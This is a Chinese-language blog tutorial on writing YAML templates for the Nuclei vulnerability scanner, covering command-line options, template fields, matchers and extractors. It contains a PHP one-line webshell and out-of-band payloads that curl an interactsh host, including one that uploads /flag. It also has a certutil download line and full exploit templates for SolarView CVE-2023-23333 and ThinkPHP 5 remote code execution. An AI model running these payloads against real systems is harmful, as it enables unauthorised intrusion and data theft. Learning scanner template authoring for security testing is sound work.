本文主要是介绍红队专题-工具Nuclei,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
红队专题
- 招募六边形战士队员
- 简介
- 常用语法
- YAML /ˈjæməl/
- 基本语法规则
- 数据结构
- 更新Nuclei
- POC YAML 语法模板编写
- 基本框架
- 模板参数
- id
- info
- requests
- variables
- payloads
- extractors
- 1、regex,正则提取;
- 2、kval,value/key=value,比如提取指定响应头;
- 3、json,使用 jq 的语法提取 json 数据;
- 4、xpath,使用 xpath 提取 html 响应数据;
- 5、dsl,使用表达式提取。
- matchers
- 1、status,匹配 http 响应状态码;
- 2、size,匹配长度,如 Conteng-Length;
- 3、word,字符串匹配;
- 4、regex,正则匹配;
- 5、binary,二进制数据匹配;
- 6、dsl,使用表达式进行匹配;
- matchers-condition
- 匹配时间
- 匹配大小
- 保留字
- Helper functions
- 常用demo
- 完整exp参考
- 参考链接
招募六边形战士队员
一起学习 代码审计、安全开发、web攻防、逆向等。。。
私信联系
简介
Nuclei 国外的一款快速扫描工具,内置大量的漏洞库
官网:https://nuclei.projectdiscovery.io
Nuclei项目地址 https://github.com/projectdiscovery/nuclei
https://github.com/ExpLangcn/NucleiTP/tree/main/TPALL
一款基于YAML语法模板的开发的定制化快速漏洞扫描器
使用Go语言开发,具有很强的可配置性、可扩展性和易用性。
TCP、DNS、HTTP、SSL、 TCP 、 文件支持、Whois、Websocket、Headless 等
完全可配置的模板
大规模扫描
基于带外的检测
轻松编写自己的模板
用于基于模板跨目标发送请求,从而实现零误报并提供对大量主机的快
速扫描。
Nuclei还有一个专门的存储库,其中包含由300 多名安全研究人员和工程师
贡献的各种类型的漏洞模板。
Nuclei-Templates项目地址:https://github.com/projectdiscovery/nuclei-templates
linux系统:/home/当前用户/nuclei-templates;
windows系统:C:\Users\用户\ nuclei-templates
常用语法
nuclei -h
这将显示Nuclei的帮助,以下是所有支持的命令【以最新版为主】用法:nuclei [命令]命令:
目标:-u, -target string[] 指定扫描的URL/主机-l, -list string 指定需要扫描的URL/主机文件(一行一个)模板:-t, -templates string[] 指定需要扫描的模板或者模板的路径-nt, -new-templates 只扫描最新版本中添加的模板-w, -workflows string[] 指定扫描中的工作流或者工作流目录-validate 验证通过的模板-tl 列出所有可用的模板过滤:-tags string[] 执行有标记的模板子集-etags, -exclude-tags string[] 执行标记为排除的模板-itags, -include-tags string[] 不执行具有攻击性的模板-et, -exclude-templates string[] 要排除的模板或者模板目录-it, -include-templates string[] 执行默认或配置中排除的模板-s, -severity value[] 根据严重性运行模板,允许的值有:info,low,medium,high,critical -es, -exclude-severity value[] 根据严重性排除模板,允许的值有:info,low,medium,high,critical -a, -author string[] 执行指定作者的模板输出:-o, -output string 输出发现的问题到文件-silent 只显示结果-nc, -no-color 禁用输出内容着色(ANSI转义码)-json 输出为jsonL(ines)-irr, -include-rr 在JSONL中输出对应的请求和相应(仅结果)-nm, -no-meta 不显示匹配的元数据-nts, -no-timestamp 不在输出中显示时间戳-rdb, -report-db string 本地的Nuclei结果数据库(始终使用该数据库保存结果) -me, -markdown-export string 以markdown导出结果-se, -sarif-export string 以SARIF导出结果配置:-config string 指定Nuclei的配置文件-rc, -report-config string 指定Nuclei报告模板文件-H, -header string[] 指定报告中的标题:value格式-V, -var value 通过var=value指定var值-r, -resolvers string 指定Nuclei的解析文件-sr, -system-resolvers 当DNS错误时使用系统DNS-passive 启用被动扫描处理HTTP响应-ev, env-vars 在模板中使用环境变量交互:-inserver, -ineractsh-server string 使用interactsh反连检测平台(默认为"https://interact.sh")-itoken, -interactsh-token string 指定反连检测平台的身份凭证-interactions-cache-size int 指定保存在交互缓存中的请求数(默认:5000)-interactions-eviction int 聪缓存中删除请求前等待的时间(默认为60秒)-interactions-poll-duration int 每个轮询前等待时间(默认为5秒)-interactions-cooldown-period int 退出轮询前的等待时间(默认为5秒)-ni, -no-interactsh 禁用反连检测平台,同时排除基于反连检测的模板限速:-r1, -rate-limit int 每秒最大请求量(默认:150)-rlm, -rate-limit-minute int 每分钟最大请求量-bs, -bulk-size int 每个模板最大并行检测数(默认:25)-c, -concurrency int 并行执行的最大模板数量(默认:25)优化:-timeout int 超时时间(默认为5秒)-retries int 重试次数(默认:1)-mhe, -max-host-error int 某主机扫描失败次数,跳过该主机(默认:30)-project 使用项目文件夹避免多次发送同一请求-project-path string 设置特定的项目文件夹-spm, -stop-at-first-path 得到一个结果后停止(或许会中断模板和工作流的逻辑)-stream 流模式 - 在不整理输入的情况下详细描述无界面浏览器:-headless 启用需要无界面浏览器的模板-page-timeout int 在无界面下超时秒数(默认:20)-sb, -show-brower 在无界面浏览器运行模板时,显示浏览器-sc, -system-chrome 不使用Nuclei自带的浏览器,使用本地浏览器调试:-debug 显示所有请求和响应-debug-req 显示所有请求-debug-resp 显示所有响应-proxy, -proxy-url string 使用HTTP代理-proxy-socks-url string 使用SOCK5代理-tlog, -trace-log string 写入请求日志到文件-version 显示版本信息-v, -verbose 显示详细信息-vv 显示额外的详细信息-tv, -templates-version 显示已安装的模板版本升级:-update 更新Nuclei到最新版本-ut, -update-templates 更新Nuclei模板到最新版-ud, -update-directory string 覆盖安装模板-duc, -disable-update-check 禁用更新统计:-stats 显示正在扫描的统计信息-sj, -stats-json 将统计信息以JSONL格式输出到文件-si, -stats-inerval int 显示统计信息更新的间隔秒数(默认:5)-m, -metrics 显示Nuclei端口信息-mp, -metrics-port int 更改Nuclei默认端口(默认:9092)
YAML /ˈjæməl/
尾音类似camel骆驼
YAML是"YAML Ain’t a Markup Language"(YAML不是一种标记语言)的递归缩写。
在开发的这种语言时,YAML 的意思其实是:“Yet Another Markup Language”(仍是一种标记语言),
但为了强调这种语言以数据做为中心,而不是以标记语言为重点,而用反向缩略语重命名。
YAML 是一种可读性高,数据序列化格式语言,通常用于编写配置文件。
YAML参考了其他多种语言,
包括:C语言、Python、Perl,并从XML、电子邮件的数据格式(RFC 2822)中获得灵感。
Clark Evans在2001年首次发表了这种语言,
另外Ingy döt Net与Oren Ben-Kiki也是这语言的共同设计者。
当前已经有数种编程语言或脚本语言支持(或者说解析)这种语言。
基本语法规则
大小写敏感
使用缩进表示层级关系
缩进时不允许使用 Tab 键,只允许使用空格。
缩进的空格数目不重要,只要相同层级的元素左侧对齐即可YAML 支持的有三种。
数据结构
对象:键值对的集合,使用冒号结构表示。
数组:一组按次序排列的值,又称为序列(sequence) / 列表(list)。
一组连词线开头的行,构成一个数组。
如果数据结构的子成员是一个数组,则可以在该项下面缩进一个空格。
纯量(scalars):单个的、不可再分的值,如字符串、整数、布尔值等。
更新Nuclei
使用nuclei -update命令来将您的Nuclei更新到最新版本。
使用nuclei -update-templates命令来将您的核心模板nuclei-templates更新到最新版本,
另外Nuclei本身每24小时也会进行一次自动更新。
POC YAML 语法模板编写
基本框架
id: str
# 模版的唯一ID,必要字段。info: k: v
# 漏洞信息字段,包含漏洞名称、作者、漏洞严重性、漏洞描述、引用连接、评分、漏洞标签等,基本都是可选字段。variables: k: v
#(可选值) 全局变量,值可以是一个字符串或者一个表达式,可选字段requests: []
# 定义的 HTTP 请求(核心部分),并对返回任用进行匹配,然后确定目标是否存在漏洞
模板参数
id
每一个模板都有一个id,这个id是必选参数,也必须是唯一的不能重复,并且所有的templates都必须以.yaml结尾
id: CVE-2023-23333
其中id 内容中不得包含空格,否则解析将会失败
info
就是Information的简写,包含了模板的信息,name, author, severity, description, reference, tags 等
info:name: SolarView任意文件下载 #脚本的名字author:Nacl #作者severity:high #安全级别 可选的有 info, low, medium, high, critical, unknowndescription: Contec SolarView Compact是日本Contec公司的一个应用系统。提供光伏发电测量系统。攻击者利用该漏洞通过downloader.php绕过内部限制来执行命令。| # 描述,加个|可以进行换行reference: - https://mp.weixin.qq.com/s/nXJ3tLIpDvYmnejy_NSmzQ# 链接来源,参考链接tags: cve,cve2023,solarview,rce # 标签,nuclei可以根据标签来打poc
ps: 创建模板时必须包含 id, name, authors severity,否则模板将无法运行!!!
requests
requests 的语法如下,它的每个元素都包含单/多个 HTTP 请求、payloads(可选)、匹配规则、解压规则(可选)。
大多数情况下定义一个就足够了。
定义 http 请求支持两种方式,
1、直接提供 http 原始请求
2、分别定义 method、path、headers、body 等;
requests:
# 也可以写作 http:# 方式一:原始(raw)请求- raw:- |GET /index.php HTTP/1.1 Host: {{Hostname}}User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36- |POST /index.php HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Accept-Language: enContent-type: application/x-www-form-urlencoded...# 方式二:GET, POST, PUT, DELETE 请求- method: GETpath:- "{{BaseURL}}/login.php"- "{{BaseURL}}/index.php" headers:User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"cmd: "test123"
请求中会包含 {{变量名或表达式}}的动态值,
变量命名由 variables、payloads、extractors 解压出来的值、目标url等一起提供
比如:验证token的正确性
variables
variables:token:"ABCDEFG" requests:- raw:# 此请求将被发送到https://api.target.com:443来验证令牌- |@Host: https://api.target.com:443GET /api/key={{token}} HTTP/1.1Host: api.target.com:443matchers:- type: wordpart: bodywords:- valid token
payloads
下面这个demo用于爆破目录,稍微改改也能实现根据用户名爆破密码
http:- raw:- |+GET /{{path}} HTTP/1.1Host: {{Hostname}}Referer: {{BaseURL}}attack: batteringrampayloads:path: path_wordlist.txtunsafe: truepipeline: true # 启用了HTTP 管道,允许在同一连接上发送多个 HTTP 请求pipeline-concurrent-connections: 40 pipeline-requests-per-connection: 25000matchers:- type: statuspart: headerstatus:- 200
extractors
适用于匹配的值会动态变化
requests:- raw:# 此请求将被发送到{{Hostname}}以获取令牌- |GET /getkey HTTP/1.1Host: {{Hostname}}# 此请求将被发送到https://api.target.com:443来验证令牌- |@Host: https://api.target.com:443GET /api/key={{token}} HTTP/1.1Host: api.target.com:443extractors:- type: regexname: tokenpart: bodyinternal: true # 动态变量 避免在终端中打印提取的值regex:# 根据前缀和后缀用正则来提取动态的token- 'prefix(.*)suffix'matchers:- type: wordpart: bodywords:- valid token
extractors 的匹配方式还能细化
1、regex,正则提取;
将提取的api 通过POST 请求 发送到 127.0.0.1:801(@Host)
requests:- raw: - |GET /index.html HTTP/1.1Host:{{Hostname}}User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"Accept: "123"- |@Host: http://127.0.0.1:801 POST / HTTP/1.1Host:{{Hostname}}User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"Accept: ""{{api}}extractors:- type: regexname: apipart: bodyinternal: true #group: 0regex: - "([a-z0-9]{32})"
2、kval,value/key=value,比如提取指定响应头;
extractors:- type: kval kval:- content_type # 从http响应头中提取content_type所对应的值
3、json,使用 jq 的语法提取 json 数据;
jq 是个非常强大的处理JSON 数据的命令行工具
jq详细参考:jq 常用操作
extractors:- type: json # type of the extractorpart: bodyname: userjson:- '.[] | .id' # jq 提取语法
例如:
4、xpath,使用 xpath 提取 html 响应数据;
XPath 是一种 路径表达式 ,可以根据xpath节点路径匹配相应的内容
个人感觉这个配合headless 很适用
extractors:- type: xpath # type of the extractorattribute: href # attribute value to extract (optional)xpath:- "/html/body/div/p[2]/a" # xpath value for extraction
5、dsl,使用表达式提取。
extractors:- type: dsl dsl:- "len(body)" # body长度
matchers
1、status,匹配 http 响应状态码;
matchers:- type: statusstatus: #状态码之间默认是or的关系- 200- 302condition: and #将默认的 or 的关系改为 and
2、size,匹配长度,如 Conteng-Length;
用到的情况不多,一般都有更优的选择
3、word,字符串匹配;
matchers:- type: wordwords:- "[core]"- "[config]"condition: andpart: body
4、regex,正则匹配;
matchers:- type: regexpart: bodyregex:- 'SSH\-([0-9.-A-Za-z_ ]+)'
5、binary,二进制数据匹配;
matchers:- type: binarybinary:- "504B0304" # zip格式- "526172211A070100" # RAR格式- "FD377A585A0000" # xz tar.xz 格式condition: orpart: body
6、dsl,使用表达式进行匹配;
matchers:- type: dsldsl:- "len(body)<1024 && status_code==200" # 状态码为200,body长度小于1024- "contains(toupper(body), md5(cookie))" # 检查md5之后的cookie在不在全部转为大写的body中
matchers-condition
规则之间是OR还是ANDmatchers-condition: and # or
matchers:# 对响应 headers 进行字符串匹配- type: wordpart: headerwords:- "ADMINCONSOLESESSION"# 对响应 body 进行字符串匹配,且要包含所有子串。- type: wordpart: bodywords:- 'uid='- 'gid='- 'groups='condition: and# 匹配 http 响应状态码- type: statusstatus:- 200
匹配时间
可以拿来写 时间盲注的poc
matchers:- type: dsldsl:- 'duration>=6' #持续时间 6或大于6秒 返回true
匹配大小
matchers:- type: dsldsl:- "len(body)<130 && status_code==200"
保留字
{{BaseURL}} - 这将在请求的运行时替换为目标文件中指定的输入 URL。{{RootURL}} - 这将在运行时将请求中的根 URL 替换为目标文件中指定的根 URL。{{Hostname}} - 主机名变量被替换为主机名,包括运行时目标的端口。{{Host}} - 这将在运行时替换目标文件中指定的输入主机的请求。{{Port}} - 这将在请求中的运行时替换为目标文件中指定的输入端口。{{Path}} - 这将在请求中的运行时替换为目标文件中指定的输入路径。{{File}} - 这将在请求中的运行时替换为目标文件中指定的输入文件名。{{Scheme}} - 这将在运行时按目标文件中指定的协议替换模板中的请求。Variable Value
{{BaseURL}} https://example.com:443/foo/bar.php
{{RootURL}} https://example.com:443
{{Hostname}} example.com:443
{{Host}} example.com
{{Port}} 443
{{Path}} /foo
{{File}} bar.php
{{Scheme}} https
Helper functions
目的是为了适应多种环境下的poc书写
id: helper-functions-examplesinfo:name: RAW Template with Helper Functionsauthor: pdteamseverity: inforequests:- raw:- |GET / HTTP/1.1Host: {{Hostname}}01: {{base64("Hello")}}02: {{base64(1234)}}03: {{base64_decode("SGVsbG8=")}}04: {{base64_py("Hello")}}05: {{contains("Hello", "lo")}}06: {{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "base64")}}07: {{gzip("Hello")}}08: {{hex_decode("6161")}}09: {{hex_encode("aa")}}10: {{html_escape("<body>test</body>")}}11: {{html_unescape("<body>test</body>")}}12: {{len("Hello")}}13: {{len(5555)}}14: {{md5("Hello")}}15: {{md5(1234)}}16: {{mmh3("Hello")}}17: {{print_debug(1+2, "Hello")}}18: {{rand_base(5, "abc")}}19: {{rand_base(5)}}20: {{rand_char("abc")}}21: {{rand_char()}}22: {{rand_int(1, 10)}}23: {{rand_int(10)}}24: {{rand_int()}}25: {{rand_text_alpha(10, "abc")}}26: {{rand_text_alpha(10)}}27: {{rand_text_alphanumeric(10, "ab12")}}28: {{rand_text_alphanumeric(10)}}29: {{rand_text_numeric(10, 123)}}30: {{rand_text_numeric(10)}}31: {{regex("H([a-z]+)o", "Hello")}}32: {{remove_bad_chars("abcd", "bc")}}33: {{repeat("../", 5)}}34: {{replace("Hello", "He", "Ha")}}35: {{replace_regex("He123llo", "(\\d+)", "")}}36: {{reverse("abc")}}37: {{sha1("Hello")}}38: {{sha256("Hello")}}39: {{to_lower("HELLO")}}40: {{to_upper("hello")}}41: {{trim("aaaHelloddd", "ad")}}42: {{trim_left("aaaHelloddd", "ad")}}43: {{trim_prefix("aaHelloaa", "aa")}}44: {{trim_right("aaaHelloddd", "ad")}}45: {{trim_space(" Hello ")}}46: {{trim_suffix("aaHelloaa", "aa")}}47: {{unix_time(10)}}48: {{url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1")}}49: {{url_encode("https://projectdiscovery.io/test?a=1")}}50: {{wait_for(1)}}
常用demo
支持使用 interact.sh API 内置自动请求关联来实现基于 OOB 的漏洞扫描
最常用的验证无回显漏洞
比如 log4j、无回显命令执行、无回显SSRF等
无回显:
1.php<?php exec($_POST[1]);?>
yaml
requests:- raw: - |POST /1.php HTTP/1.1Host:{{Hostname}}User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"Content-type: application/x-www-form-urlencoded1=curl https://{{interactsh-url}};matchers:- type: wordpart: interactsh_protocol # 确认是否进行了http请求words:- "http"
requests:- raw: - |POST /1.php HTTP/1.1Host:{{Hostname}}User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"Content-type: application/x-www-form-urlencoded1=curl https://{{interactsh-url}}/ -F "file=@/flag"matchers-condition: andmatchers:- type: wordpart: interactsh_protocol # HTTP 模式words:- "http"- type: word #同样可以用正则part: interactsh_request # 在 request请求匹配 flag{ words:- "flag{"
匹配到的request的结果,可以用 -debug调出来
linuxcurl https://{{interactsh-url}}
windowscertutil.exe -urlcache -split -f https://{{interactsh-url}} 1.txt
skip-variables-check
请求内容里包含 {{ }}时,会被 nuclei 解析为变量,加这个就是告诉nuclei不要解析.
requests:- method: GETpath:- "{{BaseURL}}"headers:Cookie: "cmd={{shell_exec('id')}}; "skip-variables-check: true # nuclei不要解析matchers-condition: andmatchers:- type: statusstatus:- 200- type: regexregex:- "uid="part: body
回显
windows 回显cmd.exe /c set /a 12333*32111396024963
linux 回显expr 12333 \* 32111396024963
完整exp参考
CVE-2023-23333.yaml
id: CVE-2023-23333info:name: SolarView Compact 6.00 - OS Command Injectionauthor: Mr-xnseverity: criticaldescription: |SolarView Compact 6.00 was discovered to contain a command injection vulnerability, attackers can execute commands by bypassing internal restrictions through downloader.php.reference:- https://github.com/Timorlover/CVE-2023-23333- https://github.com/Mr-xn/CVE-2023-23333- https://nvd.nist.gov/vuln/detail/CVE-2023-23333classification:cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Hcvss-score: 9.8cve-id: CVE-2023-23333cwe-id: CWE-77epss-score: 0.95016metadata:max-request: 1verified: trueshodan-query: http.html:"SolarView Compact"fofa-query: body="SolarView Compact" && title="Top"tags: cve,cve2023,solarview,rcevariables:cmd: "echo+CVE-2023-23333|rev"http:- raw:- |@timeout: 25sGET /downloader.php?file=%3B{{cmd}}%00.zip HTTP/1.1Host: {{Hostname}}matchers-condition: andmatchers:- type: regexpart: bodyregex:- '33332-3202-EVC'- type: wordpart: headerwords:- "text/html"- type: statusstatus:- 200
thinkphp-5022-rce.yaml
id: thinkphp-5022-rceinfo:name: ThinkPHP - Remote Code Executionauthor: dr_setseverity: criticaldescription: ThinkPHP 5.0.22 and 5.1.29 are susceptible to remote code execution if the website doesn't have mandatory routing enabled, which is the default setting. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.reference: https://github.com/vulhub/vulhub/tree/0a0bc719f9a9ad5b27854e92bc4dfa17deea25b4/thinkphp/5-rcetags: thinkphp,rcemetadata:max-request: 1http:- method: GETpath:- "{{BaseURL}}?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"matchers-condition: andmatchers:- type: wordwords:- "PHP Extension"- "PHP Version"- "ThinkPHP"condition: and- type: statusstatus:- 200
参考链接
nuclei poc模板编写笔记(二)
https://blog.csdn.net/qq_41315957/article/details/126594670
【渗透工具】Nuclei工具编写POC中文指南
https://mp.weixin.qq.com/s/bBGBDSU_ahktAMraHvhRHw
这篇关于红队专题-工具Nuclei的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!